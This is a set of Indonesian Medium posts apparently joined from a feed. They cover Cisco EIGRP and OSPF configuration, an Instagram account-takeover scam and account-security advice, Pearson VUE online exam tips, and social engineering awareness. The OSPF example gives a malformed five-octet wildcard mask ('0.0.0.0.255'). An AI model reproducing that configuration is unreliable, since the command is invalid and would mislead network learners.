<h3>Konfigurasi EIGRP</h3>
Pertama-tama, akses ke global configuration mode terlebih dahulu.
<blockquote>enable</blockquote>
<blockquote>configure terminal</blockquote>
Lalu konfigurasi EIGRP dengan langkah berikut.
<blockquote>router eigrp &lt;as-number&gt;</blockquote>
<blockquote>network &lt;alamat-ip-jaringan&gt; [&lt;wild-card-mask&gt;]</blockquote>
<ul>
<li>
As-number (Autonomous System number) merupakan identifier yang unik secara global untuk mendefinisikan IP prefix yang dikelola oleh organisasi. Nilai AS number dimulai dari 1 sampai dengan 65.535.</li>
<li>
Wild-card-mask merupakan representasi lebar alamat jaringan komputer. Wild card mask nilainya berkebalikan dengan subnet mask. Sebagai contoh: 192.168.100.0/24 memiliki alamat jaringan 192.168.100.0 dan wild card mask 0.0.0.255.</li>
</ul>
Berikut ini adalah contoh topologi yang akan dikonfigurasi dengan EIGRP.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*S4k--QyPHoswXP4aJDKvAA.png"><figcaption>Topologi yang akan Dikonfigurasi</figcaption></figure>Konfigurasi pada RT 0, misalkan AS number yang digunakan adalah 30.
<blockquote>enable</blockquote>
<blockquote>configure terminal</blockquote>
<blockquote>router eigrp 30</blockquote>
<blockquote>network 192.168.100.0 0.0.0.255</blockquote>
<blockquote>network 10.10.1.0 0.0.0.252</blockquote>
Konfigurasi pada RT 1, misalkan AS number yang digunakan adalah 30.
<blockquote>enable</blockquote>
<blockquote>configure terminal</blockquote>
<blockquote>router eigrp 30</blockquote>
<blockquote>network 192.168.200.0 0.0.0.255</blockquote>
<blockquote>network 10.10.1.0 0.0.0.252</blockquote>
<h3>Referensi</h3>
<ul><li><a href="https://www.cisco.com/c/en/us/support/docs/ip/enhanced-interior-gateway-routing-protocol-eigrp/16406-eigrp-toc.html">https://www.cisco.com/c/en/us/support/docs/ip/enhanced-interior-gateway-routing-protocol-eigrp/16406-eigrp-toc.html</a></li></ul>
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=ba798ea02404" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/eigrp-dan-contoh-implementasinya-pada-cisco-ba798ea02404">EIGRP dan Contoh Implementasinya pada Cisco</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

EIGRP dan Contoh Implementasinya pada Cisco

Open Shortest Path First (OSPF) adalah salah satu contoh routing protocol pada Interior Gateway Protocol (IGP). OSPF bersifat non-proprietary, artinya OSPF adalah standar terbuka dan dapat digunakan pada vendor jaringan apa pun. Routing protocol ini didefinisikan pada standard <a href="https://www.ietf.org/rfc/rfc2328.txt">RFC 2328</a>.
<figure><img alt="Computer Networking" src="https://cdn-images-1.medium.com/max/1024/0*EhVjw8VOiKyaGbl6"><figcaption>Photo by <a href="https://unsplash.com/@jordanharrison?utm_source=medium&amp;utm_medium=referral">Jordan Harrison</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>Link-State Protocol</h3>
OSPF adalah link-state protocol, artinya router yang dikonfigurasi dengan OSPF memiliki peta menyeluruh konektivitas pada jaringan. Dengan menggunakan peta konektivitas tersebut, tiap-tiap node pada jaringan secara independen menghitung jarak terpendek untuk mencapai jaringan pada node lainnya.
<h3>Shortest Path First (SPF)</h3>
OSPF menggunakan algoritme Shortest Path First (SPF) untuk mencari jalur terbaik menuju tujuan. Jalur tersebut merupakan jalur yang terpendek berdasarkan perhitungan dengan menggunakan algoritme Djikstra. Berikut ini adalah implementasi dari algoritme Djikstra pada OSPF.
<ol>
<li>OSPF dimulai dengan mengirimkan hello packet kepada router-router terdekat lainnya. Hello packet ini berfungsi untuk mencari router lain yang sudah terkonfigurasi dengan OSPF.</li>
<li>Tiap router tersebut kemudian mengirimkan Link-State Advertisement (LSA) kepada semua router yang tergabung pada area OSPF yang sama. LSA ini berisi state (topologi) dan cost untuk mencapai jaringan yang terkoneksi langsung dengan router tersebut.</li>
<li>Setelah semua router bertukar pesan LSA satu dengan lainnya, tiap-tiap router membuat Link-State Database (LSDB) yang berisi topologi lengkap dari jaringan tersebut.</li>
<li>Dengan data yang sudah tercatat pada LSDB, tiap-tiap router yang tergabung pada area OSPF menghitung cost terkecil untuk mencapai tujuan. cost = 10.000.000 / bandwidth
</li>
<li>Dari hasil perhitungan cost tersebut, router memasukkan jalur dengan cost terendah menuju setiap jaringan yang terdaftar pada OSPF ke dalam tabel routing miliknya.</li>
</ol>
<h3>Konfigurasi OSPF pada Cisco</h3>
Untuk memulai konfigurasi OSPF, masuk ke dalam global configuration mode.
<blockquote>enable</blockquote>
<blockquote>configure terminal</blockquote>
Kemudian tentukan process-id, ip address, wildcard mask, dan area-id.
<blockquote>router ospf &lt;process-id&gt;</blockquote>
<blockquote>network &lt;ip-address&gt; &lt;wild-card-mask&gt; area &lt;area-id&gt;</blockquote>
<ul>
<li>
Process-id adalah identifier berupa angka yang sifatnya unik di dalam router tersebut. Process-id berfungsi membedakan konfigurasi OSPF apabila pada router tersebut dikonfigurasi dengan beberapa OSPF berbeda.</li>
<li>
Ip address yang dimasukkan adalah alamat jaringan yang terkoneksi langsung ke router tersebut. Kemudian tambahkan wildcard mask sebagai representasi dari CIDR prefix. Wildcard mask nilainya berkebalikan dengan subnet mask. Contoh: jaringan 192.168.100.0/24 dituliskan 192.168.100.0 0.0.0.255</li>
<li>
Area-id bersifat unik kepada tiap area pada OSPF. Apabila hanya ada satu area OSPF, Anda bisa menggunakan area 0.</li>
</ul>
Contoh implementasinya adalah pada topologi berikut ini.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cIOG_yh6PyV-xFrDy-gbYA.png"></figure>Konfigurasi pada RT 0.
<blockquote>enable</blockquote>
<blockquote>configure terminal</blockquote>
<blockquote>router ospf 10</blockquote>
<blockquote>network 192.168.100.0 0.0.0.0.255 area 0</blockquote>
<blockquote>network 10.10.1.0 0.0.0.252 area 0</blockquote>
Konfigurasi pada RT 1.
<blockquote>enable</blockquote>
<blockquote>configure terminal</blockquote>
<blockquote>router ospf 10</blockquote>
<blockquote>network 192.168.200.0 0.0.0.0.255 area 0</blockquote>
<blockquote>network 10.10.1.0 0.0.0.252 area 0</blockquote>
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=4b07b0ff3fa6" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/ospf-dan-contoh-implementasinya-pada-cisco-4b07b0ff3fa6">OSPF dan Contoh Implementasinya pada Cisco</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

OSPF dan Contoh Implementasinya pada Cisco

Kejadian akun WhatsApp teretas, kemudian meminta uang kepada teman-teman dekat mungkin sudah kerap terjadi. Hal ini juga salah satunya disebabkan oleh sistem autentikasi WhatsApp yang secara default mengandalkan nomor HP dan kode OTP saja (tanpa username dan password). Ditambah lagi sistem login di WhatsApp versi browser yang hanya dengan scan QR code.
Namun apakah teman-teman pernah membayangkan, sistem keamanan selevel Instagram juga dapat dijebol oleh peretas? Dan apakah yang harus dilakukan apabila sampai hal ini terjadi?
Kejadian yang saya dan teman saya alami ini mungkin dapat menjadi refleksi bagi kita semua.
<figure><img alt="Instagram Teretas" src="https://cdn-images-1.medium.com/max/1024/0*NUV-I73lN_ijrBDB"><figcaption>Photo by <a href="https://unsplash.com/@purzlbaum?utm_source=medium&amp;utm_medium=referral">🇨🇭 Claudio Schwarz | @purzlbaum</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure>Sabtu, jam 5 pagi terdapat notifikasi melalui SMS pada nomor teman saya, sebut saja Allisa, yang mana memberitahukan ada percobaan login di akun Instagram-nya dengan kode OTP. Karena masih pagi, dan kebanyakan orang tidak bangun pada jam tersebut, notifikasi tersebut belum terbaca sampai sekitar jam 6 pagi, dan pada saat itulah teman saya yang lain mendapatkan direct message (DM) dari akun Instagram Allisa yang meminta uang dan dikirimkan ke akun OVO dengan nomor HP tidak dikenal, namun dengan nama profil Allisa.
Atas kejadian tersebut Allisa ditelpon, dan ditanyakan atas kebenaran hal tersebut. Dan ternyata akun Instagram Allisa sudah diretas!
Setelah kejadian tersebut, Allisa mencoba login ke Instagram, namun sudah tidak bisa lagi, karena email dan nomor HP pada akun Instagram Allisa sudah diganti ke email dan nomor HP yang didaftarkan peretas!
Allisa dan temannya segera mengingatkan ke teman-teman yang lain dengan DM (dengan keterbatasan maksimal 20 DM perhari perakun!) dan Instagram story, supaya tidak ada orang lain yang terjebak dengan permintaan kirim uang ke akun OVO tersebut. Namun apa daya, beberapa followersnya sudah terlanjur mengirimkan sejumlah uang yang jumlahnya tidak sedikit. Bahkan ada yang meminta balik uang yang sudah terlanjur dikirimkan, bukan kepada peretas, melainkan kepada Allisa.
<blockquote>Efek dari kejadian ini bisa sangat besar, melihat total followers Instagram Allisa yang mencapai ribuan.</blockquote>
Hal yang tidak lazim baru akan dimulai sejak ini.
Masih di hari yang sama, jam 6 sore, saya dikabari bahwa akun Instagram Allisa diretas. Singkat cerita, saya memutuskan untuk membantu Allisa sekaligus ingin melihat bagaimana prosedur pelaporan apabila ada tindak kejahatan siber. Saat itu, kami juga merasa semakin cepat hal ini dimitigasi, akan semakin baik.
Karena pemulihan akun Instagram tidak dapat dilakukan, maka hal yang pertama kami kejar adalah menelfon pihak OVO untuk mencari tahu prosedur membekukan akun impersonasi tersebut. Kami melakukan penelusuran bahwa nomor yang dipakai sudah berulang kali digunakan untuk penipuan dengan modus yang sama. Hasilnya, kita diminta supaya membuat surat laporan kepolisian dan melaporkan nomor pelaporan ke pihak OVO.
Saat itu juga, kami datang ke Polsek untuk proses pembuatan laporan. Namun setelah pembicaraan cukup panjang, kami mendapati bahwa Polsek yang didatangi tidak bisa menangani kejahatan siber, hanya kejahatan yang konvensional. Kami pun diarahkan ke Polda yang katanya memiliki peralatan untuk melakukan penelusuran.
Sudah 4 jam berlalu sejak pertama kami menelfon call center OVO dan kami baru saja tiba di Polda. Di Polda, kami ditanyai dengan pertanyaan yang sama dengan yang ditanyakan di Polsek. Kemudian kami diarahkan ke Reskrim dan di meja depan kami juga ditanyai dengan pertanyaan yang sama.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_Ky1NHRZk929tjJ7"><figcaption>Photo by <a href="https://unsplash.com/@tusik?utm_source=medium&amp;utm_medium=referral">Tusik Only</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure>Dari total kira-kira sepuluh lebih pertanyaan sama yang ditanyakan di Polsek dan Polda, kami selalu ditanyai bahwa apakah kami mengalami kerugian material? Dan kami selalu meyakinkan ke polisi, bahwa niat kami adalah menghilangkan momentum peretas untuk melakukan impersonasi dan menipu teman-teman dekat korban. Caranya adalah dengan menerbitkan nomor pelaporan, itu saja. Namun, mereka masih tidak yakin apakah penerbitan nomor pelaporan bisa dilakukan, mengingat kami tidak mengalami kerugian material.
Kami benar-benar baru bisa masuk Reskrim satu jam kemudian, dan ternyata pada hari itu Reskrim sudah mendapatkan rata-rata 5 laporan perhari untuk kasus UU ITE (baik kejadian peretasan pada mobile banking, WhatsApp, dll) dan kira-kira hanya 2 laporan yang benar-benar dapat dilanjutkan.
Laporan kami hampir ditolak, kalau kami tidak meyakinkan berulang kali bahwa tujuan kami hanya ingin mendapatkan nomor pelaporan.
Di Polda, kami mendapati bahwa peralatan dan tenaga siber yang dimiliki kepolisian sangat amat terbatas, sehingga banyak peretas yang berhasil kabur setelah mendapat keuntungan secara ilegal.
<blockquote>Apakah teman-teman tahu? Provider dapat melacak lokasi teman-teman dengan melihat koneksi HP dengan BTS-nya (ini sangat akurat). Selain itu, alamat IP bisa menjadi sebuah bukti lokasi (walau kadang tidak akurat). Dan masih ingatkah saat teman-teman membeli SIM, teman-teman harus mendaftarkan nomor KTP dan nomor KK? Yang terlihat di sini adalah kerjasama antara beberapa pihak yang dapat mencegah dan membuktikan adanya kasus penipuan di Indonesia sangat kurang.</blockquote>
Kami baru mengantongi nomor pelaporan jam 12 malam, dan mendapati call center OVO buka pada jam 6 pagi hingga 10 malam. Memang terdapat dinding pembatas lain, namun kami berharap tidak ada followers Allisa yang tertipu lagi sampai dengan jam 6 pagi esok hari.
Minggu jam 6 pagi, kami melaporkan hal itu ke OVO melalui email, namun dengan bukti pelaporan yang ada, ternyata pihak OVO tidak mau menutup akun palsu tersebut!
Dan si peretas masih beraksi dengan akun Instagram Allisa dan akun palsu OVO yang diatas namakan Allisa. Usaha kami untuk membendung penipuan ini menjadi gagal total karena masalah prosedural yang tidak jelas!
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Gh4xeaeOW06Jyvet"><figcaption>Photo by <a href="https://unsplash.com/@enginakyurt?utm_source=medium&amp;utm_medium=referral">engin akyurt</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure>Dari kejadian ini, kami mendapatkan pelajaran keras bahwa dengan segala keterbatasan yang dimiliki, di Indonesia, modus penipuan-penipuan sepele (yang sebenarnya dapat terdeteksi dan terbendung), terlalu mudah untuk dilakukan.
Dari sisi negara, kepolisian, dan pemilik jasa seharusnya ada undang-undang dan prosedur yang jelas untuk saling bekerja sama dalam memberantas penipuan secara online. Beberapa platform digital di luar sudah banyak yang memberikan jasa keterbukaan data kepada penegak hukum supaya platform digitalnya tidak digunakan untuk kejahatan. Sebagai pemilik wewenang, seharusnya jasa ini dapat digunakan secara maksimal.
<blockquote>Law enforcement request WhatsApp: <a href="https://www.whatsapp.com/records/login">https://www.whatsapp.com/records/login</a> , Instagram: <a href="https://www.facebook.com/help/instagram/494561080557017">https://www.facebook.com/help/instagram/494561080557017</a> , Google/Android: <a href="https://support.google.com/transparencyreport/answer/9713961?hl=en">https://support.google.com/transparencyreport/answer/9713961?hl=en</a> , Apple: <a href="https://www.apple.com/privacy/government-information-requests/">https://www.apple.com/privacy/government-information-requests/</a>)</blockquote>
Untuk pemilik akun, teman-teman harus sadar akan sulitnya memproses hukum tindak penipuan online di Indonesia. Pengamanan akun pribadi jadi solusi utama!
<ol>
<li>Selalu update sistem operasi dan aplikasi pada perangkat. Ini bukan sesuatu yang remeh, update itu bukan selalu fitur, namun menutup celah keamanan yang ada. Contoh adalah bug pada Instagram versi sebelum Februari 2020, yang memungkinkan akun pengguna Instagram terambil alih hanya dengan melihat gambar milik peretas! <a href="https://thehackernews.com/2020/09/instagram-android-hack.html">https://thehackernews.com/2020/09/instagram-android-hack.html</a> . Sebuah bug yang sepele apabila teman-teman melakukan update secara rutin.</li>
<li>Selalu ingat alamat email dan nomor HP yang didaftarkan ke Instagram supaya pemulihan akun dapat dilakukan <a href="https://help.instagram.com/149494825257596">https://help.instagram.com/149494825257596</a>
</li>
<li>Aktifkan mfa (multi-factor authentication) dengan menggunakan salah satu aplikasi seperti Google Authenticator, Microsoft Authenticator, VIP Access, Authy, dan sebagainya. Mfa yang paling tidak aman adalah kode OTP yang dikirimkan melalui SMS!</li>
<li>Gunakan password yang kuat, tidak mudah tertebak. Lebih baik lagi menggunakan password manager yang memiliki fitur enkripsi (password manager yang saya maksud bukan password manager pada browser).</li>
<li>Hati-hati dalam bersosial media, apabila ada teman yang meminta uang. Verifikasi ke akun lain, cobalah untuk menelpon atau bertemu langsung.</li>
</ol>
<blockquote>Teman-teman tahu tidak betapa mudahnya mengganti nama akun pada digital payment seperti OVO, Go-Pay, Dana, dll. Jika dibandingkan dengan akun bank yang sangat restriktif, digital payment tersebut sangat mudah digunakan untuk serangan yang melibatkan impersonasi. Undang-undang akan sangat krusial di sini.</blockquote>
Sebagai teman dekat korban atau keluarga korban yang mengalami kerugian material akibat mengirim uang kepada peretas juga seharusnya bersikap supportif. Bukannya meminta balik uang kepada pemilik akun aslinya, karena hal ini sangat tidak relevan dan hanya memperkeruh keadaan yang ada.
Semoga tulisan ini dapat membantu teman-teman.
Terimakasih atas waktunya. 🍕
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=398acd5bfc0c" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/apakah-indonesia-menjadi-surganya-penipu-online-398acd5bfc0c">Apakah Indonesia menjadi Surganya Penipu Online?</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

Apakah Indonesia menjadi Surganya Penipu Online?

<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TQgX9JCtpoIyFU49"><figcaption>Photo by <a href="https://unsplash.com/@nickmorrison?utm_source=medium&amp;utm_medium=referral">Nick Morrison</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure>Pandemi mengubah segalanya. Sebelum ini, sertifikasi yang melalui Pearson Vue, contoh Cisco, CompTIA, Microsoft, AWS, Google, dll, harus datang ke lokasi ujian. Masalahnya lokasi ujian Pearson Vue sangat terbatas di Indonesia. Kalau kamu ingin ujian setelah pelatihan besar seperti Digital Talent Kominfo, Pearson Vue benar-benar penuh sampai 3 bulan kedepannya. Nah mumpung bisa ujian online, yuk cermati syarat dan tips berikut ini.
<blockquote>Sistem ujian online On Vue menggunakan proctor (pengawas ujian), yang mana pada saat check in, kamu akan diverifikasi beberapa hal menggunakan bahasa Inggris. Jadi persiapkan juga untuk mendengarkan dan menjawab dalam bahasa Inggris.</blockquote>
<h3>Pendaftaran Ujian</h3>
Pendaftaran ujian ini idealnya dilakukan paling lambat satu minggu sebelum rencana ujian, agar memastikan jadwal yang kamu pilih masih tersedia.
<ol>
<li>Siapkan ujianmu sebaik-baiknya.</li>
<li>Masuk ke halaman vendor sertifikasi di Pearson Vue, contoh Cisco, CompTIA, Microsoft, dll, melalui <a href="https://home.pearsonvue.com/Test-takers/A-to-Z-program-list.aspx">https://home.pearsonvue.com/Test-takers/A-to-Z-program-list.aspx</a>.</li>
<li>Membuat akun sertifikasi, apabila sudah pernah mendaftar, silakan langsung login saja.</li>
<li>Sesuaikan data diri pada my profile, nama di Pearson Vue harus sama dengan nama yang ada di SIM/paspor. Apabila terdapat perubahan nama, kamu tidak dapat mengubahnya secara mandiri, silakan lapor ke customer service PearsonVue pada <a href="https://home.pearsonvue.com/Test-takers/Customer-service.aspx">https://home.pearsonvue.com/Test-takers/Customer-service.aspx</a>.</li>
<li>Proses pendaftaran ujian cukup straight forward, pilih ujian, lokasi ujian (kebutuhan: <a href="https://home.pearsonvue.com/onvue/system-requirements">https://home.pearsonvue.com/onvue/system-requirements</a>).</li>
<li>Menjadwal ujian. Pengambilan keputusan tentang waktu dan tempat ujian sangat krusial, karena ruangan yang kamu gunakan harus benar-benar kosong dan bebas dari kegaduhan.</li>
<li>Apabila kamu mendapatkan voucher diskon, ada formulir pada halaman sebelum check out untuk memasukkannya.</li>
</ol>
<h3>Rencanakan Lokasi, Waktu, dan Kebutuhan Lainnya</h3>
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LCJccDuL0X1QsoZS"><figcaption>Photo by <a href="https://unsplash.com/@kellysikkema?utm_source=medium&amp;utm_medium=referral">Kelly Sikkema</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure>Sedikit saja ada teman yang terekam di kamera atau sedang ribut, ujian kamu akan dibatalkan dan diganti atau tidaknya voucher exam kamu menjadi keputusan Pearson Vue (biasanya tidak diganti kalau terdapat masalah ini). Ada beberapa tips dan trik dalam memilih waktu ujian, supaya voucher exam kamu tidak mubazir.
<blockquote>Mungkin kamu memikirkan untuk menggunakan noise cancelling mic. Nice try, si proctor biasanya akan meminta kamu untuk menggunakan built-in mic yang mana suka bocor.</blockquote>
Jika melakukan ujian di kantor, dipastikan tidak menggunakan ruangan bersama dan sudah berkomunikasi dengan rekan kantor supaya tidak masuk ke ruangan, serta tidak gaduh selama pelaksanaan ujian. Tidak boleh ada surprise ulang tahun selama ujian berlangsung.
Jika melakukan ujian di rumah, idealnya dilakukan dini hari. Hal ini dikarenakan tidak ada suara anak tetangga sedang main di depan rumah, suara gergaji tetangga, teman SMA yang tiba-tiba datang, sales yang menggedor-gedor pintu, serta adzan dan iqomah. Ujian pukul 18.00–23.00 juga tidak disarankan, kecuali kamu percaya diri kalau bandwidth kamu lebih banyak dari tetangga yang sedang nonton Netflix.
Jika kamu memilih menyewa tempat di cafe atau hotel, maka kamu orang yang suka mengambil resiko. Kamu tidak tahu stabil atau tidaknya internet di sana pada jam tersebut, ataukah ada pertemuan besar di sebelah ruangan, sehingga suara bocor ke ruanganmu. Apabila kamu gagal check-in, walau mungkin voucher diganti, kamu juga akan rugi biaya sewa ruangan.
Lakukan system check berulang-ulang untuk memastikan bahwa komputer dan internetmu cocok untuk ujian, link untuk system check ada pada detail ujian di halaman dashboard atau pada <a href="https://home.pearsonvue.com/comptia/onvue">https://home.pearsonvue.com/comptia/onvue</a> (disesuaikan dengan ujiannya, link ini untuk system check compTIA).
Saran:
<ol>
<li>Menggunakan koneksi kabel</li>
<li>Menggunakan laptop pribadi yang memiliki sedikit aplikasi, bukan laptop kantor, atau lebih baik lagi laptop yang benar-benar baru. Bisa tidaknya laptop kamu dipakai dapat disimpulkan dari system check.</li>
</ol>
<h3>Sebelum Ujian</h3>
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9-lIxb4WUIOoILjF"><figcaption>Photo by <a href="https://unsplash.com/@kalvisuals?utm_source=medium&amp;utm_medium=referral">KAL VISUALS</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure>Ini adalah saat terpenting dalam proses sertifikasi, tetap tenang dan jaga kesadaran (terutama apabila mengambil ujian pada dini hari).
<ol>
<li>Istirahat yang cukup, jangan memaksakan minum kopi kalau kamu tidak terbiasa. Efek dari kopi terkadang justru membuat gelisah.</li>
<li>Batasi akses orang-orang ke ruangan ujian, tempel peringatan di depan pintu kalau perlu, pastikan internetmu stabil dengan bandwidth minimal 1 Mbps up and down.</li>
<li>Bersiap-siap 2 jam sebelum ujian, bersihkan meja dari barang-barang selain laptop dan smart phone sejauh jangkauan tangan. Isi penuh baterai laptop, bersiaplah menggunakan wireless mouse, touchpad, atau touchscreen, karena terkadang tidak diperkenankan ada kabel di meja (dari cerita orang).</li>
<li>Keluar dari semua aplikasi, kecuali browser yang kamu gunakan. Contoh Webex, Microsoft Teams, Slack, One Drive, Google Sync, Spotify, dll.</li>
<li>Buang jauh isi kantong celana/bajumu.</li>
<li>Simpan headsetmu, karena selama ujian tidak boleh digunakan.</li>
<li>Check in dimulai 30 menit sebelum ujian, persiapkan paspor dan smart phone.</li>
<li>Masuk ke ujian melalui dashboard pearson vue.</li>
<li>Anda akan masuk ke aplikasi On Vue dan melakukan system check yang terakhir kali.</li>
<li>Selanjutnya pilihlah verifikasi menggunakan URL untuk mencegah delay pengiriman SMS. Buka smart phone kamu dan masukkan URL tersebut (sangat disarankan menggunakan google chrome untuk mengakses URL tersebut, karena kompatibilitasnya).</li>
<li>Kamu akan diarahkan untuk mengambil gambar selfie, SIM/paspor, dan kondisi lingkungan disekitarmu.</li>
<li>Ini adalah kesempatan terakhir kamu untuk ke toilet sampai dengan ujian selesai.</li>
<li>Silent dan buang jauh smart phone kamu.</li>
<li>Lakukan refresh pada aplikasi On Vue dan tunggu sampai proctor datang secara virtual ke lokasi ujian (kadang bisa menunggu cukup lama). Pada langkah ini, webcam sudah menyala dan kamu sudah tidak diperkenankan untuk keluar dari frame webcam sampai dengan exam selesai.</li>
<li>Kamu akan ditelepon oleh proctor untuk verifikasi terakhir.</li>
<li>Setelah verifikasi selesai, kamu akan masuk ke secure browser untuk mengerjakan ujian.</li>
<li>Kamu tidak diperkenankan untuk membaca soal ujian secara keras.</li>
<li>Selamat mengerjakan. Sertifikat profesional menantimu di akhir ujian ini.</li>
</ol>
<h3>Check This Out</h3>
<a href="https://ridilabs.net/post/2020/09/06/Some-Tips-for-Online-Certification-in-Certiport-and-Pearson-Vue.aspx">Some Tips for Online Certification in Certiport and Pearson Vue</a>
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=c1a42f7d1765" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/tips-dan-trik-sertifikasi-online-pearson-vue-c1a42f7d1765">Tips dan Trik Sertifikasi Online Pearson Vue</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

Tips dan Trik Sertifikasi Online Pearson Vue

Apabila ada seseorang yang berhasil masuk ke dalam gedung kantor dengan cara membunyikan alarm kebakaran, menciptakan kekacauan, kemudian ia memanfaatkan waktu tersebut untuk mengambil data-data rahasia perusahaan tersebut dengan menggunakan flashdisk. Menurut kamu, jenis serangan apakah itu?
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*V545a4llaZZwfmqX"><figcaption>Manusia hidup bersosial</figcaption></figure>Hal-hal yang melibatkan serangan siber, tidak selalu berasal dari internet dan tidak selalu teknis. Social engineering adalah jenis serangan yang berbeda dari yang lain, karena serangan ini bukan mengeksploitasi sistem, melainkan manusianya. Berdasarkan statistik dari purplesec <a href="https://purplesec.us/resources/cyber-security-statistics/">(https://purplesec.us/resources/cyber-security-statistics/</a>), 98% serangan siber bergantung kepada social engineering dan 43% karyawan IT pernah menjadi target dari social engineering pada tahun lalu.
Siapakah target dari serangan ini?
Tentu saja adalah kamu, rekan-rekan kerjamu, dan bos kamu. Semua orang dapat dieksploitasi dengan menggunakan serangan ini.
Namun, jika bertanya siapakah orang-orang yang menggunakan social engineering beserta alasannya. Jawabannya bahkan tidak selalu berada di dalam dunia siber, kita bisa mulai dari melihat disekitar kita. Seorang sales biasa menggunakan social engineering untuk meningkatkan penjualan, pebisnis menggunakan social engineering untuk memperlebar jaringan bisnisnya, terkadang diri pribadi pun secara tidak sadar juga menggunakan social engineering untuk mencapai tujuan-tujuan tertentu, misalkan membuat alasan-alasan palsu untuk datang terlambat, sehingga bos bisa memakluminya.
Dalam konteks cyber security, dampak dari social engineering bisa berbahaya, mendapatkan data karyawan, masuk ke lokasi-lokasi terlarang, dan bahkan mengambil alih akun orang lain. Contohnya cracker yang melakukan impersonasi menjadi bosmu kemudian meminta kamu untuk mengunggah KTP beserta data-data pribadi kamu.
Ada beberapa prinsip yang menyebabkan efektifnya jenis serangan ini.
Familiarity/Liking (Keakraban/Disukai)
Seseorang cenderung menyukai orang lain yang berkarisma, ramah, dan senang membantu. Walaupun baru saja kenal, seseorang dapat dengan mudah mendapatkan respon yang ia inginkan dari orang lain. Misalkan ketika ingin menanyakan kontak pemilik rumah kepada satpam, peretas dapat mengaku sebagai tetangga dan bersifat ramah.
Prinsip serangan ini memiliki resiko kecil karena target cenderung tidak curiga. Meskipun terjadi penolakan, peretas tersebut bisa berganti target untuk mendapatkan respon yang diinginkan.
Consensus/Social Proof (Konsensus dan Bukti Sosial)
Prinsip ini mengkesploitasi sifat dasar manusia, yang bahkan tanpa perlu ada permintaan secara langsung. Salah satunya adalah insting untuk membantu. Contohnya apabila terdapat satpam yang membukakan pintu kantor kepada orang yang membawa banyak tumpukan kardus di tangannya supaya bisa masuk ke ruang kantor. Ternyata orang tersebut adalah peretas yang ingin mendapatkan akses ke komputer-komputer pekerja secara langsung.
Contoh lainnya adalah insting manusia untuk percaya kepada orang lain. Misalkan seorang penipu membuat akun instagram palsu dari sebuah toko dan menampilkan banyak review positif. Tingkat kepercayaan terhadap toko tersebut beserta review palsu yang ditampilkan dapat membantu penipu dalam mendapatkan konsumen.
Authority and Intimidation (Otoritas dan Intimidasi)
Seseorang pasti merasa kesulitan untuk menolak permintaan dari atasan. Contohnya adalah peretas yang berpura-pura menjadi atasan dan meminta dokumen seluruh karyawan di kantor melalui pesan email atau menelpon ke seorang pegawai kantor tersebut. Kejadian lainnya yang sering terjadi adalah ketika seorang penipu mengaku sebagai polisi untuk memeras targetnya.
Teknik ini sangat berisiko bagi yang melakukannya, karena melibatkan impersonasi. Pelakunya bisa saja dilaporkan.
Scarcity and Urgency (Langka dan Mendesak)
Teknik ini sering sekali dijumpai ketika seorang sales menawarkan promo singkat atau barang-barang limited edition dan si pembeli harus menyelesaikan pembayarannya hari ini.
Tujuan dari prinsip scarcity and urgency adalah memberikan tekanan agar seseorang segera bertindak. Prinsip ini dapat mengganggu proses pengambilan keputusan seseorang, sehingga lebih mementingkan bertindak cepat daripada realistis dan terarah. Pernahkah kamu termakan iklan lalu merasa menyesal setelah membeli barang?
Dalam konteks cyber security, seorang penipu bisa menggunakan teknik ini untuk mendapatkan username dan password seseorang. Misalkan seorang anak SMA mendapat diskon 98% produk PS5 melalui email, dengan syarat klaim diskon harus dilakukan maksimal 2 jam. Ketika link diskon diikuti, ternyata orang tersebut diminta memasukkan username dan password instagramnya.
Sebagai penutup, awareness atau pengetahuan masyarakat terhadap social engineering ini sangat penting. Ada maksud baik dibalik penyelenggaraan kampanye-kampaye cyber security awareness . Selalu waspada, dan jangan remehkan teknik-teknik social engineering beserta dampaknya.
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=ad7064736d4e" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/mengenal-social-engineering-metode-non-teknis-para-peretas-ad7064736d4e">Mengenal Social Engineering, Metode Non-Teknis para Peretas</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

